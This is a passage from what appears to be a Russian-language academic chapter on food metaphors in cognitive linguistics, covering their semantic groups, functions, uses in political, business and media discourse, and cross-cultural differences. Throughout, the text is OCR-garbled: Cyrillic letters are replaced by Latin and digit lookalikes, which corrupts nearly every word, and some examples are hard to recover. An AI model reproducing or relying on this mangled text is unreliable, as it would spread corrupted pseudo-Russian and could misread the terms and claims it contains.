3N1EeMEHTbl KOTHUTUBHOM NNHTBUCTUKM, NCUXONNHTBUCTUKM, COLMONNHTBUCTUKM U KYIbTYPONOTUN.
Kak oTmeyvaeT Bebuukaa [6], meTadopmyeckoe OCMbIC/IeHME MULLM Hepa3pbiBHO CBA3AHO C
npeacTaBNEHUAMM O LIEHHOCTAX, TPaAMLMAX 1 MMPOBO33PEHYECKMX YCTaHOBKax 0bLiecTBa. B aToM
CBA3M nuuleBas meTadopa npeactasBaseT cobol He TONbKO /NIMHIBUCTUYECKOE ABNAEHWE, HO W
CpPeacTBO KOTHUTUBHOMO MOZENNPOBAHMSA, MO3BONAIOLLEE M3YYMTb OCOBEHHOCTN KaTeropmsaLumm mn
CTPYKTYPMPOBAHMA 3HAHNI B KOHKPETHOM Ky/NbType.

[aHHas rnaBa NOCBsALLEHA aHANM3y CEMAHTUYECKMX U MParMaTUYECKMX XapaKTepUCTUK
nuweson meTtadopbl. BHavyane paboTbl paccMaTPMBAOTCA KAKOYEBbIE CMbIC/IOBbIE TPYMMbI
nuEeBbIXx metTadop, BO BTOPON — OCODEHHOCTU UX ynoTpebneHua B AUCKYypCe, a B TPeTben —
KPOCC-KY/IbTypHblE Pa3anyMa B WHTEpnpeTaumMm nuuesbix meTadop. AHaNM3 CTPOMTCA Ha
npumepax psfia A3bIKOB, YTO MO3BONAET BbIABUTb KaK YHMBEPCA/bHble, Tak U cneumduryeckmne
4yepTbl AAHHOTO ABAEHMA.

MuuesBaa meTapopa B A3blKe MNpeaAcTaBAeHa Pa3HOOOpPasHbIMW  CeMaHTUYECKMMMU
rpynnamm, Kaskaas M3 KOTOPbIX OTpaxaeT onpeaesneHHble acrneKTbl Ye/l0BeYeCcKoro onbiTa.
OCHOBHbIE@ CMbIC/IOBbI€ FPYMMbl BKAKOYAOT:

1. MeTtadopbl, CBA3aHHbIE C MPUEMOM MULLM

e "Mpornotuts 06may" (BbICTPO CMUPUTLECA C HEMPUATHOM CUTYaLMeN)

e '"mepeBapuTb MHGOPMaALMIO" (OCMbICINTL YTO-TMOO CNOMKHOE)

e "HacblWaTbCca 3HaHMAMM" (ycBamMBaTb HOBYHD WHPOPMaLMio, oboraulaTbes
WHTENNEKTYaNbHO)

2. MeTtadopbl, OCHOBaHHbIE Ha BKYCOBbIX OLLYLLEHNAX

e "ropbkad npasga" (HenpuaTHasA, HO HeobxoaMman HGopmaLma)

e '"cnagkue peun" (nectHble nan obmaHUYMBbLIE CI0BA)

e "Kucnas peakuma" (HeAOBONLCTBO, CapKa3M B OTBET Ha CUTyaLMIO)

3. MeTadopsbl, oTpaxKatoLlme NpPoLecc NPUroTOBAEHNS NULLM

e "cmewwmsaTb PpaKTbl" (co34aBaTh NyTaHMLY)

e "MpunpasBuTb pacckas" (4obaBuTbL AeTaneln Ana nHTepeca)

e '"BapuTbcA B CcOOCTBEHHOM COKy" (3amblkaTbca B cebe, HaxoouTbCca B
OrpaHUYeHHOM Kpyry obLWeHns)

CoBpeMeHHaa ANMHIBUCTMKA aKTMBHO M3y4yaeT BAMAHME A3blKa Ha (GopmMMpoBaHME
MMPOBO33peHMa YyenoBeka. OAHUM U3 BaXKHENLINX MHCTPYMEHTOB MOAENNPOBAHNA peasibHOCTH
aBnsetcs metadopa, KOTOpasa MOMOraeT YenoBEKYy OCMbIC/IMBATL OKPYXKaKoWMM MUP 4Yepes
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3HaKoMble 06pasbl. Cpean pasnnuHbIX TMNOB MmeTadop ocoboe MecTo 3aHMMAeT MNuLLeBas
meTadopa, TaK Kak eaa — 3TO HEOTbEM/IEMAnA YaCTb YE/I0BEYECKOMN KU3HWU U Ky/bTYpbl.

MuuweBas meTadopa BbINOJHAET HE TONbKO KOTHUTMBHYI, HO M MMPOMOZENMNPYIOLLYHO
dyHKUMt0. OHa OTparkaeT He TO/IbKO BOCNPUATME efbl, HO M BoNee WNPOKME KOHLENTbI, TaKMe KaK
3HaHWA, dMOLMM, OTHOWEHMA, MOSMTUKA M IKOHOMMKA. B aaHHOM paboTe paccmaTtpmBaeTcs
MUPOMOAENNPYIOWNIA NOTEHLUMAN NUWEBON MeTapopbl B COBPEMEHHOW JAUHIBUCTUKE, ee
GYHKUMK, CTPYKTYPaA M BAMSAHME Ha 0OLLIECTBEHHOE CO3HaHMe.

MeTadopa — 3TO crnocob ocmbiciieHUs oaHoM cdepbl 4Yepe3 MOHATUA Apyron. B
KNlaccMyeckon puTopuke meTadopa BOCMPUMHMMANACh Kak CTUAMCTUYECKOEe CPeAcCTBO, OAHAKO
COBPEMEHHbIE KOTHUTUBHbIE MCCIeA0BaHMA NMOKA3bIBAKOT, YTO MeTapopa UrpaeT KAYEBYIO PO/ib
B MbILLIEHMM YENOBEKA.

OcHOBHble PyHKUMM meTadopbi:

. KOrHMTMBHAA — MOMOraeT OCMbIC/IATb HOBble ABJEHUS 4Yepes yKe
M3BECTHbIE MOHATMA.

. JKCNPeCcMBHaN — yCUAMBAET SMOLMOHANbHYIO OKPACKy pPeyu.

. OueHoYHasa — BblpaKaeT CybbeKTMBHOE OTHOLLEHMNE K 0OBEKTY.

. Mupomogenupytowas —  GopMUpyeT  MNPeACTaBNeHUa O  MUpe,

BO3/ENCTBYET Ha 00LLIEeCTBEHHOE CO3HaHMe.

Muuwesas MeTadopa OCHOBaHa Ha YHMBEPCA/bHOM OMbiTe 4Yen0BEeKa, CBA3AHHOM C
nuTaHMem. OHa OXBaTblBAET LWMPOKMUIA CNEKTP 3HAYEHMI, OT ONMCAHMA BKYCOBbIX OLLYLIEHWI A0
MO/Ie/IMPOBaHMUSA COLMaNbHbIX MPOLLECCOB.

Mpumepbl:
. «FopbKana NpaBaa» — HeENPUATHAA UCTMHA.
. «MHPOopPMaLMOHHBIN dacTPya» — MOBEPXHOCTHbIE 3HAHWA.
. «MpornotnTb 06muay» — NoAaBUTb HEraTUBHbIE IMOLMN.

B nonnTtuke nuuiesas metadopa 4acTo UCNOAb3YETCA 414 CO34aHNA MONOKMUTENbHOTO UK
oTpuuaTensHoro obpasa:

. «KopmylLiiKa BNacTM» — Koppynums, He3akoHHoe oboralleHue.

. «BapuTbCsA B CBOEM COKYy» — OCTaBaTbCA B 3aMKHYTOM Kpyre 6e3 CBeXux
naen.

. «CbefobHble» U «HecbedobHble»  MOMUTUYECKME  pelleHus  —

npnemMmnemocCTb TeX NN NHBIX MeP.
Mcnonb3oBaHMe TaKux Bblpa}KeHMVI B/IMAET Ha BOCMNPUATME NONNTUHECKNX NPOLEeCCOB

0bLLEeCcTBOM.
B cdepe Bm3Heca 1 peknambl Nuesas metadopa NOMOraeT co3aaBaTth ApKMe 0bpasbi:
. «CnaakKas caenka» — BbiIroAHOE cornalieHme.
. «FONOAHbIV PbIHOK» — BbICOKAA KOHKYpPEeHLMA.
. «MpoAayKTOBbIN BYM» — POCT NOMNYAAPHOCTM TOBAPOB.

Takue BbiparkeHua genatot nHbopmaumo bonee ooCcTynHom n ybeamTenbHOM.
Muuesan meTtadopa rnyboKo YKopeHMAach B A3blKe 1M NOBCEAHEBHOM ODLLEHWNM:

. «BapuTb Kally» — OpraHu130BbIBaThL AEJO0.
. «MoANOKNTL CBUHBIO» — 0OMaHyTb, NOACTABUTD.
. «MnnnTb  OIOAMKET» — HE3aKOHHO pacnpefensTb rocyAapCTBEHHbIe

cpe/cTsa.

3TO AEMOHCTPUPYET, YTo nuuieBas meTadopa MCMNOAb3yeTca A/1A ONMCaHMA LWMPOKOro
CMeKTpa ABAEHUN, BbIXOAALIMX 33 PaMKM cdepbl MUTaHKS.
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Mupomogenupytowaa ¢GyHKUMA NULLEBOM MeTadopbl 3akatoyaeTcs B TOM, YTO OHa
dopmMpyeT BOCMPUATME pPeEaNbHOCTM 4epe3 MNOHATHble 06pasbl. A3blKoBad KapTMHaA MMPa,
MOCTPOEHHAs Ha MULLEBbIX MeTadopax, MOXKET OTPaXKaTb Ky/NbTyPHblE TPAANLMK, COLMANBHbBIE U
9KOHOMMYECKME peanm.

Mpumepsbi:
. B aHrNos3blYHOM KyabType ecTb BbiparkeHue «piece of cake» (npo 4to-To
NIErKOe), 1 ero aHaor — «pas3 NAHYTbY.
. B sNOHCKOM A3blke nonyasapHa meTapopa «HAaHOCUTb COEBbIM COYC», YTO

O3HayaeT «NPMaaBaTb HYXKHbI OTTEHOK, aAanTMPOBaTb CUTYaLMIOY.

Mcnonb3oBaHWe Taknmx MeTadpop OKasbiBAET BAUAHME Ha MbILLIEHNE U KOMMYHUKALMIO,
yNnpoLias Uan, Ha0bOPOT, YCAOKHAS MOHMMaHME ONpeaeNeHHbIX NPOLEeCccoB.

Muuesana metadopa — 3TO MOLLHbIA MHCTPYMEHT MOAENMPOBaHMA peanbHOCTU. OHa He
TONbKO 0b6/sier4aeT MNOHUMAHME CAOMKHbIX ABNEHWMIM, HO U BAMSET Ha BOCMPUATME MUPA.
Mcnonb3oBaHWe Takux MeTadop B MOAUTUKE, PEKamMe, SKOHOMMKE W MOBCEAHEBHOW peyn
dopmmpyeT 0bLLECTBEHHOE MHEHME N CO3/1aET ONpeeIeHHbIe CTEPEOTUMbI.

B coBpemeHHbIX MCCNenoBaHUAX JIMHIBMCTbI MNPOAO/IKAKT M3y4aTb POb MNULLEBOW
MeTadopbl B KOTHUTUBHbIX Npolgeccax. Ee yHMBepCcanbHOCTb M LLIMPOKAs PacnpoCTPaHEeHHOCTb
[enatoT aToT GeHOMEH 3HaYMMbIM OOBEKTOM ANA AaNbHENLINX HAaYYHbIX Pa3pPabOoToK.

Kak oTmeuaeT KaskeHoBa [3], nuuieBas metadopa 4acTo MCMOAb3yeTca ANA nepenayu
3MOUMOHA/bHbLIX W  OUEHOYHbIX 3HAYEeHWN, 4YTO [AeNaeT ee BaKHbIM WMHCTPYMEHTOM B
NOBCeAHEBHOM M NyBANLMCTUYECKOM ANCKYpce. bonee Toro, no mHeHuto CTepHMHa [2], nuilesas
meTadopa GopMMpPyeT OCHOBY AN5 KOHLENTYaNbHbIX MOAENEN, MCNOb3YEMbIX B MOJUTUYECKOM U
9KOHOMMYECKON pUTOPUKe, Hanpumep: "rnoTaTh obellaHuna”, "nepesapmnsaTb Kpusmuc", "cbIT No
ropno".

CpaBHUTENbHbIM  aHaNM3 NULLEBbIX MeTadop aHMUMMCKOM W Ka3aXxCKOM  A3blKax
NOKa3blBaeT, YTO HECMOTPS Ha YHMBEPCAaNbHOCTb 00OPa30B, WMX KOHKPETHas WHTepnpeTaums
3aBMCUT OT KYyJbTYPHbIX ocobeHHocTel. Hanpumep, noHsTue "xneb"- cumMBoOAM3MpPYeET AOCTATOK U
MU3HEHHYIO HeobxoanmmocTb ("xn1eb HacywHbIK"), Toraa Kak B aHIIMNCKOM A3biKe aHa/I0rMYHON
KNOYEeBOM MULEBOM eaMHMLEn BbicTynaeT "butter" (macno), cumBonmnsmpytollee A0CTaTOK M
6narononyume ("bread and butter").

Takum obpasom, nuuesas meTtadopa npeactaBnaer cobon CNOKHOE KOrHUTUBHOE
ABNEeHME, TECHO CBA3aHHOE C HAUMOHA/NIbHOM KapTMHOM MUpPa W CUCTEMOM LEHHOCTER
onpeaeneHHoro coobuecTsa.

Muuiesana metadopa UrpaeT BarKHYO poJib B OPMUPOBAHUN A3bIKOBOM KapTUHbI MUPa,
MOMOTas YeNI0BEKY OCMbIC/IMBATL Pa3/iMyHble chepbl XKU3HM Yepe3 0bpasbl, CBA3aHHbIE C ea0M. B
COBPEMEHHON NIMHIBUCTMKE NULLEeBas meTapopa PacCMaTPUBAETCA KaK MOLIHbIA KOTHUTUBHBbIN
MHCTPYMEHT, KOTOPbIM HE TO/IbKO OTParKaeT BOCMPUATME MUPA, HO U BAUAET Ha HErO, CTPYKTYPUPYS
MbILLEHNE U KOMMYHUKALMIO.

Munuia —oaHa 13 6a30BbIX NOTPEOHOCTEN YenoBeKa, NO3TOMY MeTadopbl, CBA3AHHbIE C HEN,
rNyboKO YKOPEHEHbI B A3blke N KyabType. OHM NMOMOratoT OMMUCbIBATb C/IOXKHbIE SBNEHMA Yepes
NPOCTbIE€ M MNOHATHbIE 0Opa3bl.

Hanpumep:
. «MepeBapnTb MHGOPMALMIO» — O3HAYAET OCMbICUTL NOYYEHHbIE 3HAHWA.
. «opbKaa NpaBaa» — yKasblBaeT Ha HENPUATHbIE, HO BaXKHble GaKTbl.
. «Cnuekn obuwectBa» — 0603HA4YaeT 3Ty, NyyWWUX nNpeacTasuTene

CoLManbHOM rpynmbl.
OYHKUMM NMLLeBO meTadopbl B A3bIKe:
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. OueHoYHaa — NMOMOraeT BbIPa3nTb MONOKUTENbHOE WMAW OTpULATENbHOE
OTHOLEHME (KCNaaKasa X13HbY», KTOPbKUIA OMbITY).

. OMOUMOHANbHO-3KCNPECCMBHAA — YCUAMBAET BbIPA3MTENbHOCTbL Peyn
(«Haencsa npobnem», «obKerca Ha oWwmnbKe).

. KOrHUTMBHAA — y4yacTByeT B MPOLECCe OCMbICIEHUA HOBbIX ABNEHWUM
(«MHPOPMALMOHHbIN PpacTdya» — NOBEPXHOCTHbIE 3HAHMSA).

B CMW, pekname M MacCOBOM Ky/ibType aKTMBHO WCMNOMb3YOTCA NuLLeBble 0bpasbl.
Hanpumep, Bbipa)KeHWe  «KapeHble GaKTbl»  YKasblBaeT Ha  CEHCALMOHHble, 4acTo
npeyBefiMyeHHble HOBOCTU. A TEPMUH «MEHTAIbHOE MUTAHME» NMPUMEHAETCS B NCUXON0MMM ANA
ob03HavYeHns MHGOPMALMKN, KOTOPYIO YEIOBEK NOTPEDASET exeHEBHO.

Muuesana metadopa ob61agaeT 3HAYNTEIbHBIM MUPOMOAENMPYIOLWMM NOTEHLMANIOM: OHa
He TOJIbKO OTPaKaeT CyLLEeCTBYHOLLYO PeasibHOCTb, HO U GOpPMUPYeT NpPeacTaBieHua O Hel. B
YyCNOBUAX MHOOPMALIMOHHOTO 0OLLECTBa ee 3HaYeHWe YCUAIMBAETCA, CTaHOBACb HEOTbEM/IEMOM
4aCTbtO KOFHUTUBHbIX MPOLLECCOB M A3bIKOBOM KOMMYHMKALMW.

MuuieBan metadopa LWMPOKO MCNONb3YETCA B Pa3/IMYHbIX BUAAX AMCKYPCA: NOSIUTUYECKOM,
3KOHOMMYECKOM, PEKNAMHOM, XY[AOXECTBEHHOM U MeAMaKOMMYyHMKaumsax. Hanpumep, B
NOJIMTUYECKOM AMCKYPCe 4acTO BCTPEYAtOTCA BbiparkeHMa '"nepeBapuTb pedopmy", "KOpMUTb
obellaHnaMN", YTO OTpaKaeT KOHLEeNTYabHYH MOZAENb BAACTM KaK MCTOYHMKA MWLM ANA Hapoaa.

Mcnonb3oBaHme nuieBon MeTadopbl B XyA0KECTBEHHOM UTEPATYPE TaKKe 3aCyKnBaeT
BHMMaHMA. TaK, Yy JlocToeBcKOro 4acto BcTpedyatoTcs obpasbl  "oTpaBnenHHon aywu”,
CMMBOM3NPYIOLLIME HPABCTBEHHOE PA3/IOXKEHWE repoeB. B coBpemeHHOM nnTepaTtype nuuiesan
MmeTadopa MCNonb3yeTca ANA Co3nAaHMs 0O6pasHOCTM: "MKM3Hb, KaK MepecosieHHblin cyn —
HEBO3MOXXHO MCNPABMUTb, TONILKO BbIBPOCUTB".

Takmm  obpas3om, nuuleBas MmeTapopa aKTMBHO y4yacTByeT B  GOPMMPOBAHMMU
0bOLLLEeCTBEHHOTO MHEHMWA, MOMOras MHTEPNPETUPOBaTb C/IOXHbIE MPOLLECChl Yepe3 NPMBbIYHbIE
obpasbl. MccnenosaHua CynepaHcKoM [4] nokasblBatoT, 4YTO YaCTOTHOCTb WMCMNO/Ib30BaHMA
NULEBBIX MeTadop B NMOAUTUYECKOM M PEKNAMHOM AMCKYPCE CO BPEMEHEM YBEINYMBAETCA, YTO
CBMAETENbCTBYET 06 MX BbICOKOW KOTHUTMBHOM 3HAYMMOCTM.

Ky/AbTypHble 0COOEHHOCTU UMPAOT KKOYEBYIO PO/b B MHTEPNPETALMN NULLEBLIX MeTadop,
TaK KaK OHM N Te e raCTPOHOMMUYECKME KOHUEMNTbl MOTYT MMETb Pa3/INyHbIe 3Ha4YeHMA B Pa3HbIX
A3blKax W Ky/ibTypax. B To Bpema Kak meTadopbl, CBA3aHHbIE C MULIEN, YacTo MCMNOAb3YOTCA ANA
BbIPa*KEHMA IMOLIMOHANbHbIX COCTOSHUIA, COLUMAbHbIX ABAEHUA 1 NMOBCEAHEBHbIX CUTYyaLMN, UX
MHTEPNPeTaLmMa MOMKET 3HAUYMTE/IbHO BapbMPOBATLCA B 3aBMCMMOCTM OT HALMOHA/bHbIX U
KybTYPHbIX TpaaMuUmMii. Hanpumep, BbipakeHne "Kak cbip B macae" accoummpyetcs ¢ besbeaHom
1 6e33ab60THOM KN3HbIO, B TO BPEMA KaK aHaiormyHan gpaHuy3sckas metadopa "mettre du beurre
dans les épinards" (4o6aBnTb Macna B WNNHAT) cKopee 0603HaYaeT He3HaYUTEbHOE YydLleHne
GMHAHCOBOTO  MOJIOXKEHUS,, CUMBOAM3UPYS A0OaBAEHME Yero-To HecyllecTBEHHOro B
CYLLECTBYIOLIYO CUTyauuo. ITO pasinyMe B BOCMPUATUM FacTPOHOMMUYECKMX 0b6pa3os
UNIIOCTPUPYET, KaK Ky/IbTypHbIe KOAbl M HaUMOHA/NbHble CTEPeoTUMbl BAMAIOT Ha 3HAYEHUs
MmeTadop 1 UX UCNOb30BaAHME.

AHanNM3 JaHHbIX MOKa3biBaeT, YTO NulieBas MeTapopa TECHO CBA3aHa C Ky/JbTYPHbIMMU
YCTaHOBKAMM M WUCTOPUYECKMMMU Tpaauumamn. Hanpumep, B cTpaHax C AONroM UCTopuen
CeNIbCKOro X035MCTBA M arpapHOM KyAbTypbl NPOAYKTbI, TaKMe Kak xneb, Maca0, MOIOKO UK MACO,
MOTYT CNYXUTb CMMBONAMM 61arocoCTOAHMA U CTabUABbHOCTM, B TO BPEMSA KaK B APYIMX KyNbTypax,
HanpUMep B BOCTOYHbIX CTPaHax, ynoTpebaeHne nuiy MoxKeT bbiTb CBA3aHO C GUAOCODCKMMM UK
PENUTNO3HBbIMK KOHLEeNUMAMMK. TaK, B KUTAMCKOM Ky/nbType 4acTo Mcnosb3yeTca meTadopa
"KuTacknin puc" ans obo3HaYeHnsa A0NTOBEYHOCTM M NPOLBETAHMSA, YTO CBA3AHO C BAXKHOCTbIO
3TOro NpoAyKTa B HaLMOHANbHOM Ky/NMHAPHOM Tpaauumn. B TO Bpemsa Kak B eBPOMNEMcKMX
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Ky/NbTypax xn1e6 MOXKeT OblTb CUMBOIOM KWU3HW M NPOLBETAHUA, B a3MATCKMUX Ky/NbTypaxX pMC, Kak
OCHOBa NUTAHMA, BOCMPUHUMAETCA Kak Bonee BaXKHbIM M 3HAYMMbIN SNEMEHT.

Kak oTmeuaeT ApyTioHoBa [7], MeTadopbl, CBA3aHHble C nuuwen, HecyT B cebe
cneumounyeckne KynbTypHble KOHHOTAUMKM, KOTOPble OTpPaXKatoT OTHoWweHMe obuiecTsa K
onpeAeneHHbIM MpPoAyKTaM, cnocobam ux ynoTpebneHua M coumManbHOM POAM MULWM. ITK
KOHHOTALMM Y4aCTO CAYKaT MHAMKATOPAMM COLMATBbHbIX PA3IMUYMNA, MOPAJIbHbBIX M 3TUYECKMX HOPM,
a TaKyKe 3KOHOMMYECKMX M MONUTMYECKMX peannin obuectsa. Muwesaa metadopa MOXKeT ObiTb
WHCTPYMEHTOM [ANA Nepefaym TOHKMX Ky/AbTyPHbIX WM COLMAaNbHbIX HIOAHCOB, YKasblBad Ha
npeanoyTeHns, Taby n obbl4an, xapaKTepHble A1 TOrO UAN MHOTO 3THOCA.

PaccmoTpeHue nuuieBor metadopbl B KPOCC-KYAbTYPHOM KOHTEKCTE NMO3BO/AET BbIABUTH
KaK yYHMBepcasibHble 3aKOHOMEPHOCTM, TakK U cneunduyeckme 4epTbl A3bIKOBOW KapTUHbI MUPa,
obycnoBneHHble KyAbTypHOM cpefoi. Hanpumep, B pade KyabTyp nuuiesasa meTtadopa MOXKET
6bITb CBA3AHA C MAEAMM M30OUANA U WEeAPOCTU, B TO BPEMA KaK B APYrMX — C AeDULUTOM UK
OrpaHnYeHnem. ITo NOATBEPHKAAET, YTO MeTadopbl O NULLE, ByAy4n BasKHbIM 31EMEHTOM A3bIKa,
aKTMBHO MCMO/Mb3YIOTCA A8 Mepefayn Kak KONNEKTMBHOTO OMbiTa, TaK M YHWUKAAbHbIX 4epT
HaUMOHANbHON MAEHTUYHOCTU, NPEeAOCTaBAAA LEHHY MHOOPMALMIO O KYAbTYPHbIX Pa3aNYMAX U
0COBEHHOCTAX BOCMPUATUA.

MuweBas meTadopa B A3blKe OTParKAeT He TO/NIbKO CEMAHTUYECKMe W nparmaTuyecKkume
0CODEHHOCTM KOMMYHWKaUMKU, HO U TNYyOUHHbIE KOTHUTWMBHbIE MEXaHW3Mbl, onpeaensatolmne
cnocobbl KOHUEeNTyannsauum mupa. B cOBpeMEeHHOW KOrHWUTMBHOW JIMHTBUCTMKE NWLLEBas
meTadopa PacCMaTPUBAETCA KaK OAMH M3 KAOYEBbIX MHCTPYMEHTOB KaTeropmsaumm 3HaHWA U
dopmMpoBaHMA MeHTaNbHbIX Moaenel. OHa y4acTByeT B NPOLLeCCe OCMbICIEHUA HOBbIX ABAEHUI
yepes NPOEeKLMIO 3HAKOMbIX FaCTPOHOMMUYECKMX KOHLLENTOB Ha Pas/inyHble chepbl YeN0BEYECKOM
aesatenbHocTu [5].

Nccneposanma Bexxbuukoln [6] noaTBepXAatoT, UTO nulieBble MeTadopbl MrpatoT
3HAYMMYIO PO/Ib B CTPYKTYPMPOBAHMM KOTHUTMBHOIO NMPOCTPAHCTBA, CO34aBas meTadopuyeckmne
MOZENN, UCMONb3yeMble B MONUTUYECKOM, SKOHOMMYECKOM M COLMANbHOM AMCKypcax. B csoto
oyepesb, KaskeHoBa [3] obpallaeT BHMMaHWe Ha TO, YTO NuLLeBaa meTadopa 061aaaeT BbICOKOM
CTEMEHbID YHWMBEPCANbHOCTWU, OAHAKO €€ WHTepnpeTauuMAa BapbMpyeTcA B 3aBUCMMOCTU OT
KY/IbTYPHbIX M MICTOPUYECKMX KOHTEKCTOB. ITO AeNaeT aKTya/lbHbIM UCCAeA0BaHNE KOTHUTUBHbIX U
COLManbHbIX aCNeKTOB NULLEBOM MeTadopbl, YTO ABAAETCA LLE/IbI0 AAaHHOM rNaBbl.

B nepBolt noArnase paccMaTpPMBAOTCA OCHOBHbIE KOTHUTUBHbIE MEXaHM3Mbl, eXKalume B
ocHoBe popmMMpoBaHNA NULLEBON MeTadopbl. Bo BTOPOM aHaNN3NPYLOTCA colmanbHble GakTopbl,
BAMAIOWME HA €€ MCMO/b30BaHME B Pa3/IMUHbIX AMCKypcax. B TpeTbei noarnase ocsellatoTca
0CcobeHHOCTM NKLLEBOM MeTadopbl B MOANTUYECKOM PUTOPUKE, B YETBEPTON — B IKOHOMMYECKOM
AMCKYpCe, a B NATOM — B chepe mMaccoBOM KynbTypbl. Moa06HbIN NoAX0a NO3BOAUT KOMMJIEKCHO
OXapaKTepu3oBaTb PO/b MULEBON MeTadopbl B MPOLECCE MOAENMPOBAHUA COLMANBHOIO U
KOrHUTMBHOTO NPOCTPAHCTBA Ye/0BEKA.

MuuweBas MeTadopa OCHOBbLIBAETCA Ha PALE KOTHUTMBHbLIX MEXAaHM3MOB, TaKMX Kak
aHaNorns, CXxematusaumsa, METOHMMWMA W KOHLENTya/NbHaa WMHTerpauma. AHanorma no3BonseT
NepeHOCUTb CBOMCTBA OHOro 06bekTa (MULKM) Ha Apyrie obaacT onbiTa, CO34aBan yCTOMUYNBbIE
A3bIKOBble KOHCTPYKUMWU. Hanpumep, BbipaxeHue '"nepesBapuBaTb MHPopmauMio" oTpaxaer
aHaNorM0 MeXay NULEBAPEHMEM U KOTHUTUBHOM 0OPaboTKOM AaHHbIX.

MEeTOHUMMA TaKKe WrpaeT BaKHylO posib B GOPMMPOBAHUM MULLEBLIX MeTadop.
Hanpumep, cnoso "xneb" B BbipaxkeHn "6opoTbea 3a Kycok xneba" meToHMmmMYeckn obosHavaeT
He TO/NIbKO CaM MPOAYKT, HO M CPeACTBa K CyL,ecTBOBaHMIO. CxemMaTn3alma No3BONAET BblAENUTD
Hanbonee 3Ha4MMble NMPU3HaAKM OOBEKTOB, CO34aBaA meTadopuyeckne moaenu. Tak, NOHATME
"TOpbKMI ONbIT" aKLEHTUPYET BHUMAHME Ha HeraTMBHbIX MOCNEACTBMAX MEPEKUTbIX COObITUN
Yyepes accoumaLMio C HEMPUATHBIM BKYCOM.
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BasKHbIM MexaHM3MOM ABNAETCA KOHUENTyanbHaA MHTerpauma, onucaHHaa PoOKoHbe U
TepHepom, KOTopas 3aK/0YaeTcs B CIMAHUM HECKO/IbKMX CMbIC/IOBbLIX MPOCTPAHCTB. Hanpumep,
BblparkeHue "OH B }K13HM He goconnn” co3naét obpas He3aBepPLIEHHOCTM UM HENONHOLEHHOCTH,
NepeHOCs CBOMCTBA Ky/IMHAPHOIO NPOLECCa Ha IMYHOCTHbIE XapPaKTEPUCTUKM.

KOrHUTMBHbIE MeXaHW3Mbl POPMUPOBAHUSA NMLLEBON MeTadopbl MO3BONAOT 0OBACHUTL €€
YHMBEPCAZIbHOCTb M YAaCTOTHOCTb B A3bIKE, @ TaKKe eé cnocobHOCTb aAanTUPOBATLCA K Pa3IMYHbIM
KOHTEKCTaM KOMMYHMKaLMK.

Mcnonb3oBaHue nuuieBor metadopbl B A3bIKE BO MHOFOM 3aBUCUT OT COLMAbHbIX
daKTOpPOB, BKtOYAA YypOBEeHb 06pa3oBaHMA, KyAbTypHbIE TPAAMLMK U NPodEeCCUOHANbHYIO cpeay.
B pa3HbIx coumanbHbIX rpynnax o4HU 1 Te Ke nuuiesble meTadopbl MOryT BOCMPUHUMATLCS MO-
pasHomy. Hanpumep, BbipaxeHne "KopMnTb obelaHnammn" B NOAUTUYECKOM AMCKYPCE 4acTo
MCMNONb3YeTCA AR KPUTUKM BNacTelN, TOrAa Kak B ObITOBOM peyn OHO MOMKET 03HauyaTb MpocToe
HeBbINONHEHWE 06A3aTeNbCTB.

KynbTypHble Pa3Nnuma TaKKe UrpatoT BaXKHYO POJib B MHTEPNPETALMM NULLEBLIX MeTadop.
B TpaAMLUMOHHO arpapHbIx 06LLeCcTBax N1LLEBble MeTapopbl Yallle CBA3aHbI C X1e60M M 3€PHOBbIMM
KyabTypamu ("sknTb Ha xnebe u Boge"), Toraa Kak B obLIeCTBax C Pa3BUMTOM PecTOpaHHOM
KYJIbTYPOM AOMUHUPYIOT MeTadopbl, CBA3AHHbBIE C M3bICKaHHbIMKM Batoaamm ("sK13Hb co BKycom").

MpodeccmoHanbHan cpeda Takke dopmupyeT cneunduyeckme nuuiesble metadopbl. B
chepe BM3HECa YacTo BCTPEYaoTCA BbiparkeHua "BKyc nobeabl", "nepesapntb yObITKK", "ropbkas
npasga O pbIHKe", 4TO MNOAYEPKMBAET CBA3b IKOHOMMYECKMX MpoLeccoB C 6Ha3oBbiMU
dusmonornyeckmmmn notpebHocTAMM. B HayyHOW cpede nuwesas MeTadopa MCnonb3yeTca ANs
OMMCaHMA CIOXKHbIX MpoLeccoB: "nepeBapuBaHne AaHHbIX", "cbipble TMNoTesbl", "nepecosieHHas
KpUTUKa".

AHanu3 noKasblBaeT, YTo NuueBan meTadopa He TONbKO OTPAXKAET CoLMaNbHbIE peanuu,
HO K dopmupyeT 0bOLWECTBEHHOE MHEHWEe, 4YTO JAenaeT €€ MOWHbIM MHCTPYMEHTOM B
KOMMYHMKaUMN.

MuuweBaa MeTadopa B MOAMTUYECKOM [AWUCKYPCE ABAAETCA BaXKHbIM WHCTPYMEHTOM,
KOTOPbIM MOMOraeT NOAMTMKAM CO34aBaTb APKME, 3MOUMOHANbHO HacbliWeHHble 06pasbl U
nepefaBaTb C/AOXKHblE MAEU Yepe3 3HAKOMble W Nerko BOCMPMHMMAEMble accoumaumu.
Mcnonb3oBaHWe racTpoHOMMYecKMXx meTadop MO3BOJIAET YCTAaHOBUTb AOBEPME C ayAMTOpPUEN,
cAenatb NOMTUYECKOE BbICKa3biBaHWe Boee AOCTYNHbIM M 3anomuHatowmmces. pasbl, Takme Kak
"nepeBapuTtb pedopmbl”, "KopmnuTb obellaHnamK", "ropbKkas npasaa’, akTMBHO MCMNO/b3YHOTCS
ONA YNpoWeHMA W YCUAEHUA CMbIC/IOBOM Harpysku, obnerdyasa BOCMNPUATUE MOANTUYECKMX
peleHni n cobbiTin. Hanpumep, BbipaxkeHue "nepesaputb pedopmbl” meTapopuyeckn oTparkaeT
npouecc afgantaumm obwecTBa UKW NPaBUTENLCTBA K HOBbIM M3MEHEHWAM, NMOAYEPKMBAs, YTO
npeobpa3oBaHmMsa TPebYIOT BPEeMEHM A1 YCBOEHMA MU OCO3HAHMKS.

®pasza "KopmuTb obellaHMAMK" MCMOJb3YET raCTPOHOMMYECKMI 00pa3 ana KPUTUKM
MNOMTUKOB, 0BELLAIOLLIMX MHOTO, HO HE MCMOJTHAOLLMX CBOM 3as1B/IEHWA. DTO BblpaXKeHMEe CBA3aHO
C naeein o Tom, 4To obellaHns, Kak M ena, MoryT bbiTb AaHbl, HO He BCeraa yA0BAETBOPAOT
notpebHocTu. MoANTUKM, NPUMEHSAA TakMe MeTadpopbl, pUcytoT 0bpa3 ceba Kak KOPMSALWEro, HO
MpY 3TOM YacTO HAaMEKatoT Ha MYCTOTYy MM HECOCTOATENbHOCTb CBOMX AEWCTBMIA. AHANOMMYHO,
